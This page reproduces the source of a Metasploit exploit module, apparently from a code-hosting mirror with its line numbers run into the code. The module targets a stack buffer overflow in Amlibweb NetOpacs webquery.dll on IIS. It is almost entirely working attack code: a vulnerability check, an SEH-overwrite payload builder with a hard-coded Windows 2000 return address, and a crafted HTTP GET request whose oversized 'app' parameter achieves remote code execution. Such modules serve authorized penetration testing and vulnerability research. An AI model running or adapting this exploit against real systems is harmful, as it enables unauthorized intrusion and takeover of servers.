Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Amlib's Amlibweb16Library Management System (NetOpacs). The webquery.dll17API is available through IIS requests. By specifying18an overly long string to the 'app' parameter, SeH can be19reliably overwritten allowing for arbitrary remote code execution.20In addition, it is possible to overwrite EIP by specifying21an arbitrary parameter name with an '=' terminator.22},23'Author' => [ 'aushack' ],24'Arch' => [ ARCH_X86 ],25'License' => MSF_LICENSE,26'References' =>27[28[ 'OSVDB', '66814' ],29[ 'BID', '42293' ],30[ 'URL', 'http://www.aushack.com/advisories/' ],31],32'Privileged' => true,33'DefaultOptions' =>34{35'EXITFUNC' => 'thread',36'AllowWin32SEH' => true37},38'Payload' =>39{40#'Space' => 600,41'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$",42'EncoderType' => Msf::Encoder::Type::AlphanumMixed,43'DisableNops' => 'True',44'StackAdjustment' => -3500,45},46'Platform' => ['win'],47'Targets' =>48[49# aushack - Tested OK 20100803 w2k IIS550[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS551# [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.52],53'DisclosureDate' => '2010-08-03', #0day54'DefaultTarget' => 0))5556register_options(57[58Opt::RPORT(80),59])60end6162def check63connect6465rand = Rex::Text.rand_text_alpha(10)6667sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")68res = sock.get_once69disconnect7071if (res.to_s =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)72if ($1 == rand)73return Exploit::CheckCode::Vulnerable74end75end76Exploit::CheckCode::Safe77end7879def exploit80connect81seh = generate_seh_payload(target.ret)8283buffer = Rex::Text.rand_text_alphanumeric(3028) + seh84sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n"85sock.put(sploit + "\r\n\r\n")8687handler88disconnect89end90end919293